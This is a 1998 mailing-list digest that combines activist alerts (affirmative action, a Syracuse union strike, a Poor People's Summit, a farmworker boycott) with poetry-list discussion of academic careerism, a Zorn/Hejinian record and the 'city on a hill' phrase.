6. SENATE PASSES BILL ON NO FUNDING FOR MINORITIES IN COLLEGE!!

A bill will be heard in Congress next week to prohibit
affirmative action in admissions for ANY institution of higher education
that receives ANY federal funding (Pell grants, loans, etc.).

This would end affirmative action in EVERY COLLEGE AND UNIVERSITY IN THE UNITED STATES!

PLEASE READ AND ACT SOON!

Rep. Frank Riggs (R-CA)Chairman of the House Education Subcommittee on Children, Youth, and Families is planning to offer an ANTI-AFFIRMATIVE ACTION in admissions amendment when the Higher Education Act is voted on the floor NEXT WEEK.

The amendment would prohibit all institutions of higher education from using affirmative action in its' admission decisions. If even one student at the institution receives federal funds (i.e., Pell Grant or Student Loan) they would be violating federal law under this proposal.

Affirmative action would be illegal even if the school believes it is necessary to insure a diverse student body, or to remedy past or present discrimination.

Call members of Congress [redacted] and the President [redacted]. They need to hear from us the importance of affirmative action.

PASS THIS MESSAGE ON TO EVERYONE YOU KNOW! ALL OF US WILL LOSE IF THIS BILL BECOMES THE LAW OF THE LAND!

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7. SYRACUSE WORKERS WIN STRIKE! LETTER FROM ORGANIZER

Dear Faculty, Graduate &Undergraduate Students, Clericals & Other Supporters,

On behalf of the Union and the members of the Syracuse Chapter of Local 200a, SEIU I want to extend our heartfelt and sincere appreciation for all that you have done to help in our most recent strike. And, I should add, all that you continue to do to aid in assuring that Parking Services workers are not treated as second class citizens by the University.

After taking a couple of days to recoup I have just completed reading, and responding in some cases, to more than 250 e-mail messages that piled up over the course of the strike. It was overwhelming for me to see how much was going on that neither I, or our members had any idea about. The support from Dutch Trade Unionists, the proposed two-day wildcat strike by faculty, the banner making for the game, the networking for letters to the Chancellor, the support from Alumni and so on and so on.

What is clear is that the strike became a rallying point for all of us. It was a unifying process. And while the immediate concern of the strike was the wages and working conditions of the service, maintenance and library workers the struggle has really been one of confronting corporate arrogance that has infected this academic institution like a disease. And that is a struggle that effects us all, directly. On behalf of the Union we are proud to fight with you.

For students this corporate arrogance was manifested in the University's attempt to stifle discussion and debate on a University campus of all places! For faculty it was University's threats to penalize, discriminate against and even fire those who would dare to challenge the authority of the "boss." For the members of Local 200A it was the fact that this corporate giant just refused to acknowledge our issues and our lives. The arrogance of power! The strike did not, as the Chancellor warned, fracture this campus. On the contrary the strike unified this campus in support of building a true "community."

Perhaps what was fractured was the Administration's strangle hold over all of us. That our, and I do mean OUR (as in all of us), strike was successful is an understatement. The fact is that for almost 10 days this campus was unable to operate normally. Whether it was dirty bathrooms or classes being held at the Westcott Community Center, for one week, we controlled, at least in some Large measure, what was being taught on the campus. The strike was a real life drama unfolding in front of all of us. It was the struggle of normal people struggling to be heard over the inertia of everyday life which is controlled by corporate interests. And we were heard!

In spite of the University's attempts to "sugar-coat" the settlement that was reached the agreement addressed EVERY ONE of our key issues. The University was forced to respond and to concede something on each one. It was by all measurements a resounding victory.

1. On Subcontracting: The University completely backed off any efforts to change the current restrictions on subcontracting.

2. On Temporary Workers: The University has agreed to very specific language that defines a temporary worker and prohibits them from using temporary workers to fill permanent positions unless it is to fill in for someone on disability or leave of absence.

3. On Stopping the Wage Steps: The University agreed to stop the wage steps this year, add one more step in the second year of the contract and stop them FOREVER in the third. Now everyone will reach the top of his/her labor grade within 8 years. As our members say, "There is light at the end of the tunnel."

4. On Parking Services: Sadly, we did not get the Parking Services workers included in our existing agreement. However, the University agreed to a contract with Parking Services that will expire on the same date as the existing agreement. That means we will fight together again in three years. The Grievance and Arbitration language from the existing agreement is in Place immediately and "just cause" for discipline is also in place immediately. The University has also agreed to the same fringe benefits as in the existing agreement. A schedule for negotiating the rest of the agreement has been set as well. We will need your continued vigilance in this regard.

5. On Protecting Skilled Trades: The University agreed to protect skilled trades and not allow non-skilled workers to do skilled trades work. Further, the University agreed to establish a Labor/Management Committee the purpose of which is to monitor and protect skilled trades.

6. On Pay Equity for the Library: The University agreed to increase the entire Library scale by 6% in the first year. Then increase the top of all grades by 4% in each of the next two years. This will result in an almost %15 increase in the Library Pay Scale. More needs to be done here, but it is a recognition of the problem beyond what they wanted to do.

Probably more than anything, what this strike did was to build our self-respect as a union. We stood up for what was right and said, "We won't take it anymore." Without all of you by our sides there is no question that our success would have been less certain. Now, however, we have built ties that must be maintained and nurtured for future struggles, not just for SEIU, but for students, faculty and the unorganized on campus. We must continue to work together and to build a real community. Thanks again for all your help.

Several ideas are bubbling around to commemorate the strike. One is to put together a booklet with photos and a history of the strike. Anyone with special talents in this regard is encouraged to contact me. The other is a commemorative button. All will be available for those who helped. We'll let you know as these ideas progress.

In Solidarity,

Coert Bonthius, Union Representative

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8. CULTURAL STRATEGY WORKSHOP TO BE HELD AT POOR PEOPLES SUMMIT IN PHILADELPHIA

"What can we do? For the time being, simply show up--with
our eyes, ears, hearts, and minds open."--Steve Earle

Hosted by the Kensington Welfare Rights Union (KWRU), a Poor People's Summit will be held in Philadelphia the weekend of October 9-11. Already, over one hundred poor people's organizations from all over the United States have committed themselves to come, as have several dozen "non-poor people's" organizations, such as organizations of social workers and student groups.

There will be at least 40 workshops on a mind-boggling variety of topics pertaining to the struggle to end poverty, including a very important workshop on the strategic use of culture of all kinds. The workshop will give artists and cultural organizers a place to share their experiences and ideas and to establish networking mechanisms for the future.

Could you please let either myself or Danny Alexander ([redacted]; [redacted]) know: *Your thoughts on what should be included as part of the workshop. *Can you attend the Summit? Can other artists and/or cultural organizers you know?

While the media continue to promote the myth that the American economy is booming, the 80 million Americans living below the poverty line (which includes most artists, writers, and musicians) have a different story to tell.

A big part of that story is that poor people are organizing themselves, educating themselves, and speaking out very eloquently for themselves. The Poor People's Summit will provide an important opportunity for the rapidly growing number of poor people's organizations to coalesce into a full-fledged movement to end poverty for once and for all.

It's also of the greatest importance to have people from ALL walks of life at the Summit. First of all, even those of us still making a decent living are only one or two paychecks (or tours, or grants) away from poverty ourselves. Of equal importance is the fact that, to be successful, a poor people's movement needs to shake up every level of society. In a nutshell, the Poor People's Summit is for EVERYONE who needs or wants to end poverty in America.

Finally, history has repeatedly shown that the struggles of poor people provoke an intense reaction from writers, artists, and musicians. If we can tap into that reaction in an organized way, everything is possible.

For instance, at the Summit a proposal will be presented to approve a March of the Americas, in which large contingents from Canada, Latin America, and the U.S. would converge on Washington, D.C. in October 1999 for a march on the

UN in New York to continue to press the need of poor people the world over for economic human rights. With broad involvement from the cultural communities of this hemisphere, the March of the Americas can make history and unleash a multitude of possibilities for all of us to make a difference in this world.

I hope to hear from you soon. I look forward to seeing you in Philadelphia and, in the meantime, please disseminate This message as widely as possible. Thank you very much.

Peace-

Lee Ballinger, P.O. Box 341305,
Los Angeles CA 90034 / [redacted]
[redacted]

KWRU, Box 50678, Philadelphia PA 19132 / [redacted] [redacted]

Website: http://www.libertynet.org/kwru

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9. NATIONWIDE CAMPUS EFFORT IN FARMWORKER BOYCOTT

Action packet available for campus organizers

Campaign for Labor Rights is putting the finishing touches on an extensive organizing packet for use by student activists who want to build a campaign on their campus in support of the Gardenburger and FLAV-R-PAC boycott called by PCUN, the Oregon farmworker union.

To receive a packet, contact Campaign for Labor Rights at <[redacted] or [redacted]. The Campaign for Labor Rights national coordinator will be on the road until October 6, accompanying a worker from the Han Young factory (in Tijuana, Mexico) on an East Coast speaking tour. Upon his return, the packet will be put in final form and copies will be mailed to all those who have requested it.

The rest of this alert is the cover letter from the packet. _____

Dear campus activist:

Thanks for your interest in the Gardenburger / FLAV-R-PAC boycott! Campaign for Labor Rights is joining with PCUN to build a national campus network for this campaign. We are asking for your help in bringing the boycott to your campus. This action packet is designed to assist your organization in working on this issue and joining with other campus groups in coalition.

This is a winnable struggle. Campus activists are especially well-placed to make a difference. By getting Gardenburger and FLAV-R-PAC food products out of

your dormitory and student union food services, you could exert measurable pressure on NORPAC and the Gardenburger company. A victory in this boycott would give a boost to other farmworker struggles all across the United States. Campus-based activists have an important role in the historic struggle of farmworkers to win justice in this country.

This campaign in support of the Oregon farmworker union PCUN brings together several important issues.

* Agribusiness in the United States has created "sweatshops without walls" for farmworkers who toil long hours under dangerous conditions, often for sub-minimum wages.

* Driven by economic necessity, many farmworker families take their children with them to labor in the fields.

* Heavy use of pesticides in agriculture poses a serious danger to farmworkers and those who live within range of "pesticide drift," as well as to the nation's water supply.

* U.S. immigration policy makes criminals out of the people who provide the food on our tables.

Farmworkers in Oregon have struggled for years to win justice from NORPAC, the largest farm cooperative west of the Mississippi. For many of us, the word "cooperative" has associations of sharing, but in this case it represents exploitation. NORPAC is a multi-hundred million dollar, vertically integrated business controlling everything from growing and processing to marketing and distribution. It has used its muscle to gets its way in the state legislature and to see to it that law enforcement agencies tend to turn a blind eye to violence against PCUN organizers and intimidation of farmworkers.

Not one grower in the entire NORPAC cooperative has signed a contract with the union. The growers refuse to bargain in good faith, preferring to spread disinformation and to engage in union-busting activities. That is why PCUN has called for a boycott of FLAV-R-PAC, the grower's own brand. PCUN also has called for a secondary boycott of Gardenburger. The Gardenburger company continues to use the NORPAC distribution system, even though good alternatives are available. The president of Gardenburger declined opportunities to discuss the issue with PCUN and has made public statements demonstrating a complete lack of sympathy for the plight of farmworkers. Gardenburger's contract with NORPAC provides profits which help the growers weather the FLAV-R-PAC boycott. Gardenburger, in spite of its green image, is no friend of working people.

PCUN (Pineros y Campesinos Unidos del Noroeste; in English: Northwest Treeplanters and Farmworkers United) has done a great job of building support

in Oregon and neighboring states. And word has been getting out to other parts of the country where coop groceries and natural foods restaurants have taken up the boycott. PCUN's support network includes students, labor unions, religious organizations and community activist groups.

Just when the boycott was starting to have an impact, Gardenburger budgeted $15 million to a national advertising campaign. PCUN and Campaign for Labor Rights can't begin to match the financial resources of large corporations. But we do have something that money can't buy: the commitment of labor rights activists, environmentalists, immigrant rights advocates and other people of conscience.

PLEASE:

* Get in touch: Contact us at <[redacted] or [redacted] and let us know if you are interested in working on the Gardenburger / FLAV-R-PAC boycott.

* Keep us posted: Let us know about your organization's plans and send brief reports on your boycott activities.

* Stay informed: To receive our email alerts on this boycott and other important sweatshop campaigns, send a message to us at <[redacted].

* Use us as a resource: Don't hesitate to contact us if you need more information or if you want to know who else in your community is interested in sweatshop issues.

Finally, we wanted to mention that Campaign for Labor Rights and PCUN may be organizing speaking tours on this issue in the spring. Let us know if you would like a presentation on your campus.

In solidarity,

Trim Bissell, national coordinator

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88. jesse glass
Re: Hello to Charles, and a request
Sun 4 Oct 1998

Dear Charles Alexander: It's great to see you on this list! Hope all's well with you. I'm still in Japan...but more of that later on the private line. I'm wondering if you or anybody on the list can tell me the address of Robert Lax. I really like his work and would like to write to him. All best, Jesse Glass.
-----Original Message-----
From: Charles Alexander <[redacted]>
To: [redacted] <[redacted]>

Date: Wednesday, September 30, 1998 10:08 AM
Subject: Re: another course request

> *At 09:58 AM 9/30/98 -0500, you wrote:*
> *Prose is indefensible. But seriously, I think Sidney and Shelley were defending not poetry as a genre, or "verse," but poesie in a larger sense; their defenses (or apologies) apply beyond what we think of as "poetry" today.*
>
> *as does Aristotle*
>
> *on a more recent note, in 1996 Burning Deck published Paul Auster's book, *Why Write?* which collects seven pieces which might be thought of as Auster's "defense."*
>
> *charles*
>
> *charles alexander :: poet and book artist :: [redacted]*
> *chax press :: alexander writing/design/publishing*
> *books by artists' hands :: web sites built with care and vision*
> *http://alexwritdespub.com/chax :: http://alexwritdespub.com*

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89. Mark DuCharme

Re: Judging

Sun 4 Oct 1998

C. Parcelli wrote:

> *I resent Mr. Amato's harsh and impolitic remarks. How could poetry have achieved its current stature within the culture at large without compromise?*

While I appreciate the need to compromise for the sake of realism or politesse, I'm just wondering what kind of "current stature" you think poetry has achieved. Hmm, maybe we ought to try _less_ compromise; from the point of view of visibility or popularity (which, I'll be the first to acknowledge, are not the only or necessarily even the most valid yardsticks), poetry doesn't seem to have much stature within the culture AT LARGE at all.

& Personally, I didn't feel Joe was being so harsh & impolitic... but then again, I can sympathize with his point of view, however much it is true in the end that capitulations have to be made...

--Mark DuCharme

Get Your Private, Free Email at http://www.hotmail.com

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90. Sean Casey
Zorn/Hejinian Collaboration
Sun 4 Oct 1998

Came across a cd in the used bin yesterday, a collaboration between saxophonist/composer John Zorn and poet Lyn Hejinian (and another poet I can't remember). Has anyone heard this? What's it like? Worth 8 bucks?

Sean Casey

--

Sean Casey
Box 722, Brown University
Providence, RI 02912

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91. henry gould
Re: Judging
Sun 4 Oct 1998

On Sat, 3 Oct 1998 12:54:11 -0700 Karen Kelley said:
>
>It certainly does, but we also have to remember that the hoops are for those
>who want to pursue that kind of *professional* development, which is different
>for many of us from our *writerly* development.
>
>They seem like two different jobs. Some people pursue one or the other, and
>some pursue both. I think there's a sense that those who pursue the
>professional trappings are somehow less "pure" than those who don't. But what's
>wrong with someone doing the whole national publisher/award/nepotism circuit if
>it suits them? To think that the high-top crowd loses out on something because
>there are all these credentialed professional poets out there seems silly.
>Harvard isn't going to hire someone with a single chapbook to their credit, no

>matter *how* good the chapbook is. Not because Harvard is evil, but because
>it's a business.

What's wrong with someone doing the whole award/nepotism thing? This is a good question. I might try it myself if I could just get my desk organized & if I thought I had the slightest chance in hell. But there's something else, some elusive thing that maybe keeps me from getting my desk so organized. The feeling that the whole "system" is not a conspiracy but a sort of mindless snow job. It's the publishing/awarding/promotional/blurbing/gossiping/ circulating/name-dropping noise that is actually antithetical to what I think of as good writing. It's the commercial/professional/self-serving/ calculating/protection racket aspect that seems to have nothing to do with the sense of literature as a criticism of life from deep within the most refined, delicate, probing, honest, gifted corners of said life. The sense of the imagination as the greatest threat to sanctioned unjust complacencies - and that careerism is the opposite of imaginative independence. So that I approach the "poetry shelf" in the bookstore in a bad and unreceptive mood, and I blame the promoters for this (perhaps unfairly). I fully respect the canniness of artistic talent, its ability to consort with & dominate commercial systems for its own benefit - yet canniness is not the skill I care about in poetry. So maybe I'm playing it safe & hypocritical by demanding unreal standards? I dunno. I repeat Osip Mandelstam's maxim, applicable to any age or society: "there are 2 kinds of literature - official and unofficial. The first is trash; the second, stolen air." With the caveat that there's a lot of trash in the unofficial camp too. Literacy are a mixed blissing. - Henry Gould

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92. Karen Kelley
Re: Judging
Sun 4 Oct 1998

Hi Mark,

Maybe it doesn't come across, but I think *Harvard* would be losing out by not having Blake, not Blake losing out not to have Harvard.

I'm not quite sure why people seem to think that academia is the only place for a writer to make money--via grant or tenure. The job of *professional* may be required for money, but the profession needn't be directly related to one's personal writing. In fact, the lowering of standards that seems to be implied in the pursuit of the writerly profession of grant-mongering & ass-kissing can be avoided by pursuing a profession aside from one's writing. There seems to be great resistance to this idea. Is it because people think all they can do is write? If you can survive as a writer, you certainly have intelligence and skills that can be parlayed into living wages. And the amount of money to be made in

academia is not particularly impressive--I don't understand why it seems so tantalizing to so many.

Perhaps it's cynical or naive, but I'm kind of reassured by the fact that Blake, Clare, Leopardi, Dickinson, Niedecker, et al., aren't Harvard-approved. It makes me trust them more. The foregrounding of professionalism will continue as long as universities are businesses, so maybe writers should quit looking at them as employment services for writers.

The point might even be raised that it really shouldn't be writers teaching, but *teachers*--alot of this discussion has been about writers complaining that they're not getting enough of the academia pie: but who has said they're frustrated because they feel they have something to offer as *teachers*?

Mark Weiss wrote:

> *Karen--I think your last paragraph is, like the brits say, spot on. But I have some problems with your second. Sure, it's two different jobs, and some are disinclined or less able to perform the "professional" one. Something--a lot--is lost, however, in the foregrounding of that task. Some of the high-top crowd have included, say, Blake, Clare, Leopardi, Dickinson, Niedecker, and, until recently, virtually everyone in Don Allen's anthology (I could tell you what kind of reception my teaching Olson at Columbia got in 1968). Can you imagine Harvard's reaction to Blake's job application? "Self-publishes, small-press only, and a bit eccentric."*
>
> *At 12:54 PM 10/3/98 -0700, you wrote:*
> *this matter of making writers dance through such hoops as a primary part of their professional development, as a primary part of how they come to the act of writing and publishing, leaves a helluvalot to be desired...*
>
> *It certainly does, but we also have to remember that the hoops are for those who want to pursue that kind of *professional* development, which is different*
> *for many of us from our *writerly* development.*
>
> *They seem like two different jobs. Some people pursue one or the other, and some pursue both. I think there's a sense that those who pursue the professional trappings are somehow less "pure" than those who don't. But what's*
> *wrong with someone doing the whole national publisher/award/nepotism circuit if*
> *it suits them? To think that the high-top crowd loses out on something because*
> *there are all these credentialed professional poets out there seems silly. Harvard isn't going to hire someone with a single chapbook to their credit, no*

> *matter *how* good the chapbook is. Not because Harvard is evil, but because it's a business.*
>
> *And I can't help but wonder with amusement if perhaps one reason there's such a*
> *call for those with heavy, specifically national publishing credits isn't*
> *because the university's don't know *how* to judge poetry, and figure they'd*
> *better go with someone someone else has recognized. The cover your ass factor*
> *seems high.*

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93. henry gould
trudgling
Sun 4 Oct 1998

---

addendling to previous postings on careerism/professions/integrity & all - there's the bureaucracy factor - most writers are wild injuns - Hemingway (& Carlo Parcelli too) emphasize the heroic/macho aspect of this - Wallace Stevens related it not to character but to the nature of imagination itself - essentially astonishment, delightful surprise, but undeniably Real -

the teenage reader-writer
goes into the novel-poem to avoid
the job or try the hand at
the impossible

the impossible is the cliff

and sad to see at the top of the cliff
(wrong cliff, maybe)
the booths where you fill out the applications
for Approval & Success

- Robert Frost

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94. Herb Levy
Re: Zorn/Hejinian Collaboration
Sun 4 Oct 1998

The disc is definitely worth it if you like Zorn's music, it's a very good set of pieces from the mid-, late-1980s. But if you don't like Zorn's music, unless you're a totally obsessed collector of work by Hejinian or Myung Mi Kim, I'd pass on it.

I don't have the disc with me here, so I'm only going on memory, but this is a mid-1980s project called New Traditions in East Asian Bar Bands, a set of three pieces each for a different pair of musicians and narrator. The pairs of musicians are guitarists Bill Frisell/Fred Frith; drummers Joey Baron/Samm Bennett; and keyboard players Anthony Coleman/Wayne Horvitz. The writers involved are Lyn Hejinian, Myung Mi Kim, & Arto Lindsay, their texts are translated into an Asian language: Kim's is translated into Korean, Lindsay's & Hejinian's are in either Chinese or Vietnamese (I don't remember who's is which). The narrator's are not the writers, but are native speakers of the Asian language to which the texts have been translated. The texts in English are provided with the disc, though, as I recall, in very small print, often with difficult to read ink/paper combinations (the packaging is quite elaborate).

When the disc came out (sometime in 1997, I think) I posted something that was probably more detailed about it to the list. You should be able to find this by searching the poetics archives at EPC for mentions of Zorn.

Hope this is helpful.

Bests,

Herb

> *Came across a cd in the used bin yesterday, a collaboration between saxophonist/composer John Zorn and poet Lyn Hejinian (and another poet I can't remember). Has anyone heard this? What's it like? Worth 8 bucks?*
>
> *Sean Casey*
>
> --
>
> *Sean Casey*
> *Box 722, Brown University*
> *Providence, RI 02912*

Herb Levy
[redacted]

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95. Tom Beard
Re: Judging the profession
Sun 4 Oct 1998

> The job of *professional* may be
> required for money, but the profession needn't be directly related to

one's
> personal writing.

I agree with you, Karen, but as a professional in a field pretty much unrelated to writing, I can tell you that it can be a drain. I'd love to spend more time writing and reading, but after 50-60 hours a week pushing pixels, tweaking code and wrestling with management, there's not much energy left to do much more than crash on the sofa in front of South Park.

Also, maybe I'm idealising the writing community, but it would be nice to hang out with some people who have actually _heard_ of "Blake, Clare, Leopardi, Dickinson, Niedecker et al". Though, come to think of it, 90% of the writing community here wouldn't have heard of most of them either...

There's also the question of education: if you spend most of your life learning about torts or aortas or depreciation or cumulonimbus, it doesn't leave much time to learn about caesurae or metonymy or mesostics. It would be lovely to devote one's life to writing and art, but Lagavulin don't grow on trees.

Overall, though, I'm glad that I have a profession and interests outside of writing: they inform and cross-pollinate one another. But we can't all be polymaths, and they can detract from one another as well.

Another barrier might be the attitude of some within the arts community to those who have mainstream careers. We're breadheads, geeks, yuppies, corporate drones or dupes of the military-industrial complex. I once had a brief relationship with a post-grad student. She'd read an essay of mine, and after we'd been going out for a little while, she asked me where I taught. When I said, no, I'm not an academic, I haven't even studied English formally since I was 16, she replied (only half joking) "My God, I'd never have gone out with you if I'd known you were a meteorologist!"

I too have a little more respect for the likes of Stevens, WCW or Holub because they had careers outside of the word business. But it's bloody hard taking yourself seriously as a writer when virtually no-one you work with takes writing seriously. Which makes me all the more grateful for the few of my friends who are writers, and of course for this list. Without it, my work mailbox would have nothing but spam, Clinton jokes, and notes headed "Your website is broke. Fix it."

Can anyone tell that it's a Monday morning?

Tom Beard.

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96. michael corbin
Re: Murfreesboro
Sun 4 Oct 1998

Rachel Levitsky wrote:

> *Thomas Bell do you know Short Mountain, the intentional community of the Radical Fairies. Lots of creative folks there.*

chez

http://www.eurofaerie.org/A%20Brief%20History%20of%20the%20Faeries.html

judg

ing

mc

↑ Index

97. Mark Weiss
Re: Judging
Sun 4 Oct 1998

I've always assumed that writers, as opposed to academics involved in research, find academia appealing because it validates them and because it can be a relatively easy way to make a living--flexible hours, long vacations--and still write. Williams and Stevens, for two, had serious, tough careers and managed to turn out reams of stuff, but not all writers or writerly processes are made that way. The best idea is to marry up or inherit money. I often amuse myself imagining Melville (plug in your favorite writer--Emily Bronte? Mark Twain?) at faculty meetings. .

At 02:15 PM 10/4/98 -0700, you wrote:
>Hi Mark,
>
>Maybe it doesn't come across, but I think *Harvard* would be losing out by not
>having Blake, not Blake losing out not to have Harvard.
>
>I'm not quite sure why people seem to think that academia is the only place for a
>writer to make money--via grant or tenure. The job of *professional* may be
>required for money, but the profession needn't be directly related to one's
>personal writing. In fact, the lowering of standards that seems to be implied in
>the pursuit of the writerly profession of grant-mongering & ass-kissing

can be
>avoided by pursuing a profession aside from one's writing. There seems to be great
>resistance to this idea. Is it because people think all they can do is write? If
>you can survive as a writer, you certainly have intelligence and skills that can
>be parlayed into living wages. And the amount of money to be made in academia is
>not particularly impressive--I don't understand why it seems so tantalizing to so
>many.
>
>Perhaps it's cynical or naive, but I'm kind of reassured by the fact that Blake,
>Clare, Leopardi, Dickinson, Niedecker, et al., aren't Harvard-approved. It makes
>me trust them more. The foregrounding of professionalism will continue as long as
>universities are businesses, so maybe writers should quit looking at them as
>employment services for writers.
>
>The point might even be raised that it really shouldn't be writers teaching, but
>*teachers*--alot of this discussion has been about writers complaining that
>they're not getting enough of the academia pie: but who has said they're
>frustrated because they feel they have something to offer as *teachers*?
>
>
>Mark Weiss wrote:
>
>> Karen--I think your last paragraph is, like the brits say, spot on. But I
>> have some problems with your second. Sure, it's two different jobs, and
>> some are disinclined or less able to perform the "professional" one.
>> Something--a lot--is lost, however, in the foregrounding of that task. Some
>> of the high-top crowd have included, say, Blake, Clare, Leopardi,
>> Dickinson, Niedecker, and, until recently, virtually everyone in Don
>> Allen's anthology (I could tell you what kind of reception my teaching
>> Olson at Columbia got in 1968). Can you imagine Harvard's reaction to
>> Blake's job application? "Self-publishes, small-press only, and a bit
>> eccentric."
>>

>> At 12:54 PM 10/3/98 -0700, you wrote:
>> >> this matter of making writers dance through such hoops as a
>> >> primary part of their professional development, as a primary part of
how
>> >> they come to the act of writing and publishing, leaves a helluvalot
to be
>> >> desired...
>> >
>> >It certainly does, but we also have to remember that the hoops are for
those
>> >who want to pursue that kind of *professional* development, which is
>> different
>> >for many of us from our *writerly* development.
>> >
>> >They seem like two different jobs. Some people pursue one or the other,
and
>> >some pursue both. I think there's a sense that those who pursue the
>> >professional trappings are somehow less "pure" than those who don't. But
>> what's
>> >wrong with someone doing the whole national publisher/award/nepotism
>> circuit if
>> >it suits them? To think that the high-top crowd loses out on something
>> because
>> >there are all these credentialed professional poets out there seems silly.
>> >Harvard isn't going to hire someone with a single chapbook to their
>> credit, no
>> >matter *how* good the chapbook is. Not because Harvard is evil, but
because
>> >it's a business.
>> >
>> >And I can't help but wonder with amusement if perhaps one reason there's
>> such a
>> >call for those with heavy, specifically national publishing credits isn't
>> >because the university's don't know *how* to judge poetry, and figure
they'd
>> >better go with someone someone else has recognized. The cover your ass
factor
>> >seems high.
>> >
>> >
>
>

↑ Index

98. **Mark Weiss**
Re: Judging the profession
Sun 4 Oct 1998

You don't get weather jokes?

At 10:58 AM 10/5/98 +1300, you wrote:
>> The job of *professional* may be
>> required for money, but the profession needn't be directly related to
>one's
>> personal writing.
>
>I agree with you, Karen, but as a professional in a field pretty much
>unrelated to writing, I can tell you that it can be a drain. I'd love to
>spend more time writing and reading, but after 50-60 hours a week pushing
>pixels, tweaking code and wrestling with management, there's not much
>energy left to do much more than crash on the sofa in front of South Park.
>
>Also, maybe I'm idealising the writing community, but it would be nice to
>hang out with some people who have actually _heard_ of "Blake, Clare,
>Leopardi, Dickinson, Niedecker et al". Though, come to think of it, 90% of
>the writing community here wouldn't have heard of most of them either...
>
>There's also the question of education: if you spend most of your life
>learning about torts or aortas or depreciation or cumulonimbus, it doesn't
>leave much time to learn about caesurae or metonymy or mesostics. It would
>be lovely to devote one's life to writing and art, but Lagavulin don't grow
>on trees.
>
>Overall, though, I'm glad that I have a profession and interests outside of
>writing: they inform and cross-pollinate one another. But we can't all be
>polymaths, and they can detract from one another as well.
>
>Another barrier might be the attitude of some within the arts community to
>those who have mainstream careers. We're breadheads, geeks, yuppies,
>corporate drones or dupes of the military-industrial complex. I once had a
>brief relationship with a post-grad student. She'd read an essay of mine,
>and after we'd been going out for a little while, she asked me where I
>taught. When I said, no, I'm not an academic, I haven't even studied
>English formally since I was 16, she replied (only half joking) "My God,
>I'd never have gone out with you if I'd known you were a meteorologist!"

>
>I too have a little more respect for the likes of Stevens, WCW or Holub
>because they had careers outside of the word business. But it's bloody hard
>taking yourself seriously as a writer when virtually no-one you work with
>takes writing seriously. Which makes me all the more grateful for the few
>of my friends who are writers, and of course for this list. Without it, my
>work mailbox would have nothing but spam, Clinton jokes, and notes headed
>"Your website is broke. Fix it."
>
>
> Can anyone tell that it's a Monday morning?
>
> Tom Beard.
>
>

↑ Index

99. Edward Fristrom
Re: Zorn/Hejinian Collaboration
Sun 4 Oct 1998

I'm fond of the Zorn/Hejininian album, but I would neither recommend it to Zorn fans (at least to the fans of Masada and Naked City) nor tell people they should only listen to it if they are interested in Zorn's more obscure album. I think it was an under-rated album. A set of "new traditions" that didn't draw as much attention as Masada. It's elegant, has interesting instrumental arrangements, and is well. . . creepy. Eerie like that earlier piece written for Kronos, "Forbidden Fruit."

At any rate. . . it isn't one of those off-the-cuff recorded-in-an-afternoon with a duck call and a glass of water albums. . . There's a lot of Zorn I regret having ever bought, but this isn't one of them.

↑ Index

100. Susan Schultz
Re: east coast travels
Sun 4 Oct 1998

I'll be at the Laura (Riding) Jackson conference in Ithaca this week, staying at the Hillside Inn (and still wondering where the events are!); then I'll be in NYC on October 10 to join the book party for _Close Listening: Poetry and the Performed Word_, edited by Charles Bernstein. The event, as I gather, will be at Double Happiness, 173 Mott Street, just south of Broome, from 4-6 pm. I trust

someone will get me a map... Hope to see some listees in these places, as well as touches of autumn. I'll be the one with the mostest jetlag, I trust.

best, Susan Schultz
U of Hawai`i

↑ Index

101. Simon DeDeo
Reference -- Augustine?
Sun 4 Oct 1998

Hello, all -- just emerging from a period of relative silence after the Summer. I have a backlog of e-mails to backchannel to people on the list, so I hope they'll forgive me this one.

I've come across, somewhere, the "city on the hill", but I'm lacking the direct reference to the original concept; as I remember, the "point" is wrapped up in the idea that the city can be seen from all around. I thought I might have gotten the image from Jorie Graham's work, but I've looked and looked and haven't been able to find it, and, in any case, I'm pretty sure it's not originally hers. I have a feeling that it might be from Augustine's _City of God_. If anybody can provide me with a [any] references, I'd be very grateful.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

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102. Mark Weiss
Re: Reference -- Augustine?
Sun 4 Oct 1998

Yup, but as used in this country--usualy misused--it comes from Winthrop's sermon on the Arabella in 1630 before the first wave of Puritans hit the shore (they had sent out a couple of ships in '28 and '29, but the Arabella flotilla was the main group--a thousand settlers). Usually referred to as if Winthrop had been saying that the Puritan commonwealth and its capitol, Boston, would be the New Jerusalem, but in fact (as is perfectly and uncontestedly clear in the text) he was issuing a warning: we're gonna be like up on a hill where everybody can see us if we fuck up. The misinterpretation, which goes back at least 150 years, speaks volumes.

At 08:09 PM 10/4/98 -0400, you wrote:
>Hello, all -- just emerging from a period of relative silence after the
>Summer. I have a backlog of e-mails to backchannel to people on the list,
>so I hope they'll forgive me this one.
>
>I've come across, somewhere, the "city on the hill", but I'm lacking the
>direct reference to the original concept; as I remember, the "point" is
>wrapped up in the idea that the city can be seen from all around. I
>thought I might have gotten the image from Jorie Graham's work, but I've
>looked and looked and haven't been able to find it, and, in any case, I'm
>pretty sure it's not originally hers. I have a feeling that it might be
>from Augustine's _City of God_. If anybody can provide me with a [any]
>references, I'd be very grateful.
>
>-- Simon
>
>http://www.fas.harvard.edu/~sdedeo/localpapers.html
>[redacted]
>[redacted]
>
>

↑ Index

103. William Slaughter

Mudlark

Sun 4 Oct 1998

MUDLARK
An Electronic Journal of Poetry & Poetics
Never in and never out of print...
http://www.unf.edu/mudlark

_____

New and On View

MUDLARK POSTER NO. 14 (1998)

The Saddest Man on Earth by Alan Kaufman

* * * * * * * * * * * * * *

Alan Kaufman's most recent book is WHO ARE WE? (DAVKA Limited Editions, 1998, ISBN 1-881822-01-X; distributed by SPD, [redacted].) His other books include BEFORE I WAKE (Cyborg Productions, 1992) and THE NEW GENERATION: FICTION FOR OUR TIME FROM AMERICA'S WRITING

